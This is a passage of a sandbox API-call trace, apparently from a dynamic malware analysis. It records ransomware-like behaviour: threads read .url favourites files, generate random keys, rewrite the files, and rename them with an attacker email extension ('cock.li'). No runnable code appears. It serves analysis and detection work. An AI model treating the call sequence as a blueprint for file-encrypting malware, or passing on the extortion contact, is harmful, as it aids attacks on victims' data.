lpNumberOfBytesWritten=0x572f7dc*=0x85, lpOverlapped=0x0) returned 1 [0066.274] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4415a0 [0066.274] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4410c8 [0066.274] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4410c8) returned 1 [0066.274] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12c6f900) returned 1 [0066.274] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12c630f8) returned 1 [0066.274] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x43ad08) returned 1 [0066.274] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44bbc8) returned 1 [0066.274] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x31) returned 0x409d28 [0066.274] SetFilePointerEx (in: hFile=0xff4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0066.274] WriteFile (hFile=0xff4, lpBuffer=0x5efe280, nNumberOfBytesToWrite=0x115, lpNumberOfBytesWritten=0x572f844, lpOverlapped=0x0) Thread: id = 892 os_tid = 0x11cc [0051.925] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\IE site on Microsoft.com.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\microsoft websites\\ie site on microsoft.com.url")) returned 0x20 [0051.925] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\IE site on Microsoft.com.url", dwFileAttributes=0x20) returned 1 [0060.191] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\IE site on Microsoft.com.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\microsoft websites\\ie site on microsoft.com.url"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xff8 [0060.191] GetFileSizeEx (in: hFile=0xff8, lpFileSize=0x1577f898 | out: lpFileSize=0x1577f898*=133) returned 1 [0060.191] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x12d05020 [0060.191] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x12d05570 [0060.191] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x12d055e8 [0060.191] NtQuerySystemTime (in: CurrentTime=0x1577f7f8 | out: CurrentTime=0x1577f7f8*=132174898241772000) returned 0x0 [0060.191] RtlRandomEx (in: Seed=0x1577f804 | out: Seed=0x1577f804) returned 0x2d1524fe [0060.191] RtlRandomEx (in: Seed=0x1577f804 | out: Seed=0x1577f804) returned 0x7c42757d [0060.191] RtlRandomEx (in: Seed=0x1577f804 | out: Seed=0x1577f804) returned 0x312bb722 [0060.191] RtlRandomEx (in: Seed=0x1577f804 | out: Seed=0x1577f804) returned 0x1be34bd4 [0060.191] RtlRandomEx (in: Seed=0x1577f804 | out: Seed=0x1577f804) returned 0x160d9292 [0060.191] RtlRandomEx (in: Seed=0x1577f804 | out: Seed=0x1577f804) returned 0x1f447b3c [0060.191] RtlRandomEx (in: Seed=0x1577f804 | out: Seed=0x1577f804) returned 0x12abfc3b [0060.191] RtlRandomEx (in: Seed=0x1577f804 | out: Seed=0x1577f804) returned 0x13664e06 [0060.191] RtlRandomEx (in: Seed=0x1577f804 | out: Seed=0x1577f804) returned 0x1d5d2ded [0060.191] RtlRandomEx (in: Seed=0x1577f804 | out: Seed=0x1577f804) returned 0x548365e1 [0060.191] RtlRandomEx (in: Seed=0x1577f804 | out: Seed=0x1577f804) returned 0x5adc7681 [0060.191] RtlRandomEx (in: Seed=0x1577f804 | out: Seed=0x1577f804) returned 0x1c254156 [0060.191] RtlRandomEx (in: Seed=0x1577f804 | out: Seed=0x1577f804) returned 0x696c4a15 [0060.191] RtlRandomEx (in: Seed=0x1577f804 | out: Seed=0x1577f804) returned 0x5d5dbe38 [0060.192] RtlRandomEx (in: Seed=0x1577f804 | out: Seed=0x1577f804) returned 0x1c279b94 [0060.192] RtlRandomEx (in: Seed=0x1577f804 | out: Seed=0x1577f804) returned 0x7dcd1d54 [0060.192] RtlRandomEx (in: Seed=0x1577f804 | out: Seed=0x1577f804) returned 0x6ed3f20f [0060.192] RtlRandomEx (in: Seed=0x1577f804 | out: Seed=0x1577f804) returned 0x6623859e [0060.192] RtlRandomEx (in: Seed=0x1577f804 | out: Seed=0x1577f804) returned 0x786d923c [0060.192] RtlRandomEx (in: Seed=0x1577f804 | out: Seed=0x1577f804) returned 0x5f7b0f74 [0060.192] RtlRandomEx (in: Seed=0x1577f804 | out: Seed=0x1577f804) returned 0x35fb1a46 [0060.192] RtlRandomEx (in: Seed=0x1577f804 | out: Seed=0x1577f804) returned 0x54559b95 [0060.192] RtlRandomEx (in: Seed=0x1577f804 | out: Seed=0x1577f804) returned 0x5105c0a [0060.192] RtlRandomEx (in: Seed=0x1577f804 | out: Seed=0x1577f804) returned 0x6028773a [0060.192] RtlRandomEx (in: Seed=0x1577f804 | out: Seed=0x1577f804) returned 0x26aad759 [0060.192] RtlRandomEx (in: Seed=0x1577f804 | out: Seed=0x1577f804) returned 0x3518faa6 [0060.192] RtlRandomEx (in: Seed=0x1577f804 | out: Seed=0x1577f804) returned 0x22ce8355 [0060.192] RtlRandomEx (in: Seed=0x1577f804 | out: Seed=0x1577f804) returned 0x9cabd9f [0060.192] RtlRandomEx (in: Seed=0x1577f804 | out: Seed=0x1577f804) returned 0x42fce412 [0060.192] RtlRandomEx (in: Seed=0x1577f804 | out: Seed=0x1577f804) returned 0x441cb76a [0060.192] RtlRandomEx (in: Seed=0x1577f804 | out: Seed=0x1577f804) returned 0x445afd5c [0060.192] RtlRandomEx (in: Seed=0x1577f804 | out: Seed=0x1577f804) returned 0xca599d9 [0060.205] ReadFile (in: hFile=0xff8, lpBuffer=0x12c7c108, nNumberOfBytesToRead=0x85, lpNumberOfBytesRead=0x1577f7f4, lpOverlapped=0x0 | out: lpBuffer=0x12c7c108*, lpNumberOfBytesRead=0x1577f7f4*=0x85, lpOverlapped=0x0) returned 1 [0060.206] SetFilePointerEx (in: hFile=0xff8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.206] WriteFile (hFile=0xff8, lpBuffer=0x12c88910, nNumberOfBytesToWrite=0x85, lpNumberOfBytesWritten=0x1577f7f0, lpOverlapped=0x0) Thread: id = 893 os_tid = 0x11d0 [0051.925] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\Microsoft At Home.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\microsoft websites\\microsoft at home.url")) returned 0x20 [0051.926] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\Microsoft At Home.url", dwFileAttributes=0x20) returned 1 [0060.206] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\Microsoft At Home.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\microsoft websites\\microsoft at home.url"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffc [0060.206] GetFileSizeEx (in: hFile=0xffc, lpFileSize=0x6f4fdd0 | out: lpFileSize=0x6f4fdd0*=133) returned 1 [0060.206] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x12d05020 [0060.206] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x12d055e8 [0060.206] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x12d05660 [0060.207] NtQuerySystemTime (in: CurrentTime=0x6f4fd30 | out: CurrentTime=0x6f4fd30*=132174898241928000) returned 0x0 [0060.207] RtlRandomEx (in: Seed=0x6f4fd3c | out: Seed=0x6f4fd3c) returned 0x275ab803 [0060.207] RtlRandomEx (in: Seed=0x6f4fd3c | out: Seed=0x6f4fd3c) returned 0x5e09a350 [0060.207] RtlRandomEx (in: Seed=0x6f4fd3c | out: Seed=0x6f4fd3c) returned 0x24d9870f [0060.207] RtlRandomEx (in: Seed=0x6f4fd3c | out: Seed=0x6f4fd3c) returned 0x2c843787 [0060.207] RtlRandomEx (in: Seed=0x6f4fd3c | out: Seed=0x6f4fd3c) returned 0x577c6a3b [0060.207] RtlRandomEx (in: Seed=0x6f4fd3c | out: Seed=0x6f4fd3c) returned 0x1723d476 [0060.207] RtlRandomEx (in: Seed=0x6f4fd3c | out: Seed=0x6f4fd3c) returned 0x44f520f6 [0060.207] RtlRandomEx (in: Seed=0x6f4fd3c | out: Seed=0x6f4fd3c) returned 0x4353bce8 [0060.207] RtlRandomEx (in: Seed=0x6f4fd3c | out: Seed=0x6f4fd3c) returned 0x6f9665dd [0060.207] RtlRandomEx (in: Seed=0x6f4fd3c | out: Seed=0x6f4fd3c) returned 0x4065db2f [0060.207] RtlRandomEx (in: Seed=0x6f4fd3c | out: Seed=0x6f4fd3c) returned 0x6f72c515 [0060.207] RtlRandomEx (in: Seed=0x6f4fd3c | out: Seed=0x6f4fd3c) returned 0xf33541c [0060.207] RtlRandomEx (in: Seed=0x6f4fd3c | out: Seed=0x6f4fd3c) returned 0x502e912e [0060.207] RtlRandomEx (in: Seed=0x6f4fd3c | out: Seed=0x6f4fd3c) returned 0x64c35841 [0060.207] RtlRandomEx (in: Seed=0x6f4fd3c | out: Seed=0x6f4fd3c) returned 0x278948ec [0060.207] RtlRandomEx (in: Seed=0x6f4fd3c | out: Seed=0x6f4fd3c) returned 0x9c04f10 [0060.207] RtlRandomEx (in: Seed=0x6f4fd3c | out: Seed=0x6f4fd3c) returned 0x51cd451c [0060.207] RtlRandomEx (in: Seed=0x6f4fd3c | out: Seed=0x6f4fd3c) returned 0x11f7556b [0060.207] RtlRandomEx (in: Seed=0x6f4fd3c | out: Seed=0x6f4fd3c) returned 0x2d4d94a3 [0060.207] RtlRandomEx (in: Seed=0x6f4fd3c | out: Seed=0x6f4fd3c) returned 0xbe02409 [0060.207] RtlRandomEx (in: Seed=0x6f4fd3c | out: Seed=0x6f4fd3c) returned 0x73b3d139 [0060.207] RtlRandomEx (in: Seed=0x6f4fd3c | out: Seed=0x6f4fd3c) returned 0x276cd62a [0060.207] RtlRandomEx (in: Seed=0x6f4fd3c | out: Seed=0x6f4fd3c) returned 0x345826d0 [0060.207] RtlRandomEx (in: Seed=0x6f4fd3c | out: Seed=0x6f4fd3c) returned 0x3b9f0f88 [0060.207] RtlRandomEx (in: Seed=0x6f4fd3c | out: Seed=0x6f4fd3c) returned 0x1f26b51b [0060.207] RtlRandomEx (in: Seed=0x6f4fd3c | out: Seed=0x6f4fd3c) returned 0x6e6415c9 [0060.207] RtlRandomEx (in: Seed=0x6f4fd3c | out: Seed=0x6f4fd3c) returned 0x472e3c5 [0060.207] RtlRandomEx (in: Seed=0x6f4fd3c | out: Seed=0x6f4fd3c) returned 0x59bcf457 [0060.207] RtlRandomEx (in: Seed=0x6f4fd3c | out: Seed=0x6f4fd3c) returned 0xadb0409 [0060.207] RtlRandomEx (in: Seed=0x6f4fd3c | out: Seed=0x6f4fd3c) returned 0x5063ef39 [0060.208] RtlRandomEx (in: Seed=0x6f4fd3c | out: Seed=0x6f4fd3c) returned 0x1d8806ad [0060.208] RtlRandomEx (in: Seed=0x6f4fd3c | out: Seed=0x6f4fd3c) returned 0x686eff4c [0060.220] ReadFile (in: hFile=0xffc, lpBuffer=0x12c95118, nNumberOfBytesToRead=0x85, lpNumberOfBytesRead=0x6f4fd2c, lpOverlapped=0x0 | out: lpBuffer=0x12c95118*, lpNumberOfBytesRead=0x6f4fd2c*=0x85, lpOverlapped=0x0) returned 1 [0060.221] SetFilePointerEx (in: hFile=0xffc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.221] WriteFile (hFile=0xffc, lpBuffer=0x12ca1920, nNumberOfBytesToWrite=0x85, lpNumberOfBytesWritten=0x6f4fd28, lpOverlapped=0x0) Thread: id = 894 os_tid = 0x11d4 [0051.926] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\Microsoft At Work.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\microsoft websites\\microsoft at work.url")) returned 0x20 [0051.926] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\Microsoft At Work.url", dwFileAttributes=0x20) returned 1 [0060.222] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\Microsoft At Work.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\microsoft websites\\microsoft at work.url"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1004 [0060.222] GetFileSizeEx (in: hFile=0x1004, lpFileSize=0x16f1fa14 | out: lpFileSize=0x16f1fa14*=133) returned 1 [0060.222] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x12d05020 [0060.222] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x12d05660 [0060.222] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x12d056d8 [0060.222] NtQuerySystemTime (in: CurrentTime=0x16f1f974 | out: CurrentTime=0x16f1f974*=132174898242084000) returned 0x0 [0060.222] RtlRandomEx (in: Seed=0x16f1f980 | out: Seed=0x16f1f980) returned 0x45d233d9 [0060.222] RtlRandomEx (in: Seed=0x16f1f980 | out: Seed=0x16f1f980) returned 0x432b62a [0060.222] RtlRandomEx (in: Seed=0x16f1f980 | out: Seed=0x16f1f980) returned 0x3e73d374 [0060.222] RtlRandomEx (in: Seed=0x16f1f980 | out: Seed=0x16f1f980) returned 0xe96c1b [0060.222] RtlRandomEx (in: Seed=0x16f1f980 | out: Seed=0x16f1f980) returned 0x5cb9ca7c [0060.222] RtlRandomEx (in: Seed=0x16f1f980 | out: Seed=0x16f1f980) returned 0x200ab9ed [0060.222] RtlRandomEx (in: Seed=0x16f1f980 | out: Seed=0x16f1f980) returned 0x3d279da2 [0060.222] RtlRandomEx (in: Seed=0x16f1f980 | out: Seed=0x16f1f980) returned 0x2168495b [0060.222] RtlRandomEx (in: Seed=0x16f1f980 | out: Seed=0x16f1f980) returned 0x84bb77b [0060.222] RtlRandomEx (in: Seed=0x16f1f980 | out: Seed=0x16f1f980) returned 0x16652869 [0060.223] RtlRandomEx (in: Seed=0x16f1f980 | out: Seed=0x16f1f980) returned 0x5a1ca840 [0060.223] RtlRandomEx (in: Seed=0x16f1f980 | out: Seed=0x16f1f980) returned 0x4bd60a3c [0060.223] RtlRandomEx (in: Seed=0x16f1f980 | out: Seed=0x16f1f980) returned 0x1e891b2d [0060.223] RtlRandomEx (in: Seed=0x16f1f980 | out: Seed=0x16f1f980) returned 0x18aa0ff3 [0060.223] RtlRandomEx (in: Seed=0x16f1f980 | out: Seed=0x16f1f980) returned 0x6555d1bc [0060.223] RtlRandomEx (in: Seed=0x16f1f980 | out: Seed=0x16f1f980) returned 0x8cde42a [0060.223] RtlRandomEx (in: Seed=0x16f1f980 | out: Seed=0x16f1f980) returned 0x6ce3285e [0060.223] RtlRandomEx (in: Seed=0x16f1f980 | out: Seed=0x16f1f980) returned 0x61c35445 [0060.223] RtlRandomEx (in: Seed=0x16f1f980 | out: Seed=0x16f1f980) returned 0x58072918 [0060.223] RtlRandomEx (in: Seed=0x16f1f980 | out: Seed=0x16f1f980) returned 0x5d5b49b1 [0060.223] RtlRandomEx (in: Seed=0x16f1f980 | out: Seed=0x16f1f980) returned 0x41da883f [0060.223] RtlRandomEx (in: Seed=0x16f1f980 | out: Seed=0x16f1f980) returned 0x541bb0bb [0060.223] RtlRandomEx (in: Seed=0x16f1f980 | out: Seed=0x16f1f980) returned 0x5890c437 [0060.223] RtlRandomEx (in: Seed=0x16f1f980 | out: Seed=0x16f1f980) returned 0x6bc5016c [0060.223] RtlRandomEx (in: Seed=0x16f1f980 | out: Seed=0x16f1f980) returned 0x7aefc2fe [0060.223] RtlRandomEx (in: Seed=0x16f1f980 | out: Seed=0x16f1f980) returned 0x43983411 [0060.223] RtlRandomEx (in: Seed=0x16f1f980 | out: Seed=0x16f1f980) returned 0x5ef198e8 [0060.223] RtlRandomEx (in: Seed=0x16f1f980 | out: Seed=0x16f1f980) returned 0x5162ee3f [0060.223] RtlRandomEx (in: Seed=0x16f1f980 | out: Seed=0x16f1f980) returned 0x6c25e61c [0060.223] RtlRandomEx (in: Seed=0x16f1f980 | out: Seed=0x16f1f980) returned 0x6a015a0a [0060.223] RtlRandomEx (in: Seed=0x16f1f980 | out: Seed=0x16f1f980) returned 0x6910073a [0060.223] RtlRandomEx (in: Seed=0x16f1f980 | out: Seed=0x16f1f980) returned 0x6621f735 [0060.236] ReadFile (in: hFile=0x1004, lpBuffer=0x12cae128, nNumberOfBytesToRead=0x85, lpNumberOfBytesRead=0x16f1f970, lpOverlapped=0x0 | out: lpBuffer=0x12cae128*, lpNumberOfBytesRead=0x16f1f970*=0x85, lpOverlapped=0x0) returned 1 [0060.237] SetFilePointerEx (in: hFile=0x1004, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.237] WriteFile (in: hFile=0x1004, lpBuffer=0x12cba930*, nNumberOfBytesToWrite=0x85, lpNumberOfBytesWritten=0x16f1f96c, lpOverlapped=0x0 | out: lpBuffer=0x12cba930*, lpNumberOfBytesWritten=0x16f1f96c*=0x85, lpOverlapped=0x0) returned 1 [0062.591] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x97cf3c0 [0062.591] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x97cf3e8 [0062.591] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97cf3e8) returned 1 [0062.591] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12cba930) returned 1 [0063.126] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12cae128) returned 1 [0063.126] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x43ab28) returned 1 [0063.126] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44c630) returned 1 [0063.126] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x37) returned 0x4a6720 [0063.127] SetFilePointerEx (in: hFile=0x1004, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0063.127] WriteFile (in: hFile=0x1004, lpBuffer=0x41be58*, nNumberOfBytesToWrite=0x11b, lpNumberOfBytesWritten=0x16f1f9d4, lpOverlapped=0x0 | out: lpBuffer=0x41be58*, lpNumberOfBytesWritten=0x16f1f9d4*=0x11b, lpOverlapped=0x0) returned 1 [0063.150] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x41be58) returned 1 [0063.150] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4a6760) returned 1 [0063.150] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12d05430) returned 1 [0063.150] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4a6720) returned 1 [0063.150] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97cf3c0) returned 1 [0063.150] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12d05660) returned 1 [0063.150] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12d05700) returned 1 [0063.150] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12d05728) returned 1 [0063.150] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xea) returned 0x4de5d0 [0063.150] wcscpy (in: _Dest=0x4de5d0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\Microsoft At Work.url" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\Microsoft At Work.url") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\Microsoft At Work.url" [0063.151] wcscat (in: _Dest=0x4de5d0, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\Microsoft At Work.url.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\Microsoft At Work.url.mailto[2Hamlampampom@cock.li].cd46d" [0063.151] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\Microsoft At Work.url.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0x16f1f98c, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\Microsoft At Work.url.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0063.151] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x100) returned 0x12f4b2d0 [0063.152] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12f4b2d0) returned 1 [0063.152] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e1d4c0) returned 1 [0063.152] NtQueryInformationFile (in: FileHandle=0x1004, IoStatusBlock=0x16f1f998, FileInformation=0x16f1f970, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x16f1f998, FileInformation=0x16f1f970) returned 0x0 [0063.152] NtSetInformationFile (FileHandle=0x1004, IoStatusBlock=0x16f1f998, FileInformation=0x16f1f970, Length=0x28, FileInformationClass=0x4) returned 0x0 [0063.157] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4de5d0) returned 1 [0063.157] FlushFileBuffers (hFile=0x1004) returned 1 [0066.213] CloseHandle (hObject=0x1004) Thread: id = 895 os_tid = 0x11d8 [0051.927] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\Microsoft Store.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\microsoft websites\\microsoft store.url")) returned 0x20 [0052.205] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\Microsoft Store.url", dwFileAttributes=0x20) returned 1 [0052.205] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\Microsoft Store.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\microsoft websites\\microsoft store.url"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1088 [0052.205] GetFileSizeEx (in: hFile=0x1088, lpFileSize=0x2c3fd98 | out: lpFileSize=0x2c3fd98*=134) returned 1 [0052.205] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x43fc48 [0052.205] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x43fc70 [0052.205] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x43fc98 [0052.205] NtQuerySystemTime (in: CurrentTime=0x2c3fcf8 | out: CurrentTime=0x2c3fcf8*=132174898161900000) returned 0x0 [0052.205] RtlRandomEx (in: Seed=0x2c3fd04 | out: Seed=0x2c3fd04) returned 0x48cc92b8 [0052.205] RtlRandomEx (in: Seed=0x2c3fd04 | out: Seed=0x2c3fd04) returned 0x2a85a907 [0052.205] RtlRandomEx (in: Seed=0x2c3fd04 | out: Seed=0x2c3fd04) returned 0x2c8cee80 [0052.206] RtlRandomEx (in: Seed=0x2c3fd04 | out: Seed=0x2c3fd04) returned 0x1e942513 [0052.206] RtlRandomEx (in: Seed=0x2c3fd04 | out: Seed=0x2c3fd04) returned 0x58e89abd [0052.206] RtlRandomEx (in: Seed=0x2c3fd04 | out: Seed=0x2c3fd04) returned 0xcaafde8 [0052.206] RtlRandomEx (in: Seed=0x2c3fd04 | out: Seed=0x2c3fd04) returned 0x168ac00 [0052.206] RtlRandomEx (in: Seed=0x2c3fd04 | out: Seed=0x2c3fd04) returned 0x2ca83012 [0052.206] RtlRandomEx (in: Seed=0x2c3fd04 | out: Seed=0x2c3fd04) returned 0x598543c8 [0052.206] RtlRandomEx (in: Seed=0x2c3fd04 | out: Seed=0x2c3fd04) returned 0xcfa8691 [0052.206] RtlRandomEx (in: Seed=0x2c3fd04 | out: Seed=0x2c3fd04) returned 0x29d23bd9 [0052.206] RtlRandomEx (in: Seed=0x2c3fd04 | out: Seed=0x2c3fd04) returned 0x39aeaaf7 [0052.206] RtlRandomEx (in: Seed=0x2c3fd04 | out: Seed=0x2c3fd04) returned 0x464ab7e6 [0052.206] RtlRandomEx (in: Seed=0x2c3fd04 | out: Seed=0x2c3fd04) returned 0x5be9d9ac [0052.206] RtlRandomEx (in: Seed=0x2c3fd04 | out: Seed=0x2c3fd04) returned 0x6b928ad3 [0052.206] RtlRandomEx (in: Seed=0x2c3fd04 | out: Seed=0x2c3fd04) returned 0x45414820 [0052.206] RtlRandomEx (in: Seed=0x2c3fd04 | out: Seed=0x2c3fd04) returned 0x20fe0198 [0052.206] RtlRandomEx (in: Seed=0x2c3fd04 | out: Seed=0x2c3fd04) returned 0x51828207 [0052.206] RtlRandomEx (in: Seed=0x2c3fd04 | out: Seed=0x2c3fd04) returned 0x6897688a [0052.206] RtlRandomEx (in: Seed=0x2c3fd04 | out: Seed=0x2c3fd04) returned 0x5b16bb6f [0052.206] RtlRandomEx (in: Seed=0x2c3fd04 | out: Seed=0x2c3fd04) returned 0x19914ec5 [0052.206] RtlRandomEx (in: Seed=0x2c3fd04 | out: Seed=0x2c3fd04) returned 0x3bccfbc1 [0052.206] RtlRandomEx (in: Seed=0x2c3fd04 | out: Seed=0x2c3fd04) returned 0x34a13ba7 [0052.206] RtlRandomEx (in: Seed=0x2c3fd04 | out: Seed=0x2c3fd04) returned 0x6de6d77 [0052.206] RtlRandomEx (in: Seed=0x2c3fd04 | out: Seed=0x2c3fd04) returned 0x562c0737 [0052.206] RtlRandomEx (in: Seed=0x2c3fd04 | out: Seed=0x2c3fd04) returned 0x7f9c2e2d [0052.206] RtlRandomEx (in: Seed=0x2c3fd04 | out: Seed=0x2c3fd04) returned 0x41431e14 [0052.206] RtlRandomEx (in: Seed=0x2c3fd04 | out: Seed=0x2c3fd04) returned 0x6acef4c8 [0052.206] RtlRandomEx (in: Seed=0x2c3fd04 | out: Seed=0x2c3fd04) returned 0x5159bb4a [0052.206] RtlRandomEx (in: Seed=0x2c3fd04 | out: Seed=0x2c3fd04) returned 0x7e23f4db [0052.206] RtlRandomEx (in: Seed=0x2c3fd04 | out: Seed=0x2c3fd04) returned 0x321d8635 [0052.206] RtlRandomEx (in: Seed=0x2c3fd04 | out: Seed=0x2c3fd04) returned 0x77f48d07 [0052.220] ReadFile (in: hFile=0x1088, lpBuffer=0x5e04048, nNumberOfBytesToRead=0x86, lpNumberOfBytesRead=0x2c3fcf4, lpOverlapped=0x0 | out: lpBuffer=0x5e04048*, lpNumberOfBytesRead=0x2c3fcf4*=0x86, lpOverlapped=0x0) returned 1 [0052.221] SetFilePointerEx (in: hFile=0x1088, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0052.221] WriteFile (in: hFile=0x1088, lpBuffer=0x5e10850*, nNumberOfBytesToWrite=0x86, lpNumberOfBytesWritten=0x2c3fcf0, lpOverlapped=0x0 | out: lpBuffer=0x5e10850*, lpNumberOfBytesWritten=0x2c3fcf0*=0x86, lpOverlapped=0x0) returned 1 [0057.668] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4417d0 [0057.668] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x441820 [0057.668] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x441820) returned 1 [0057.668] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, 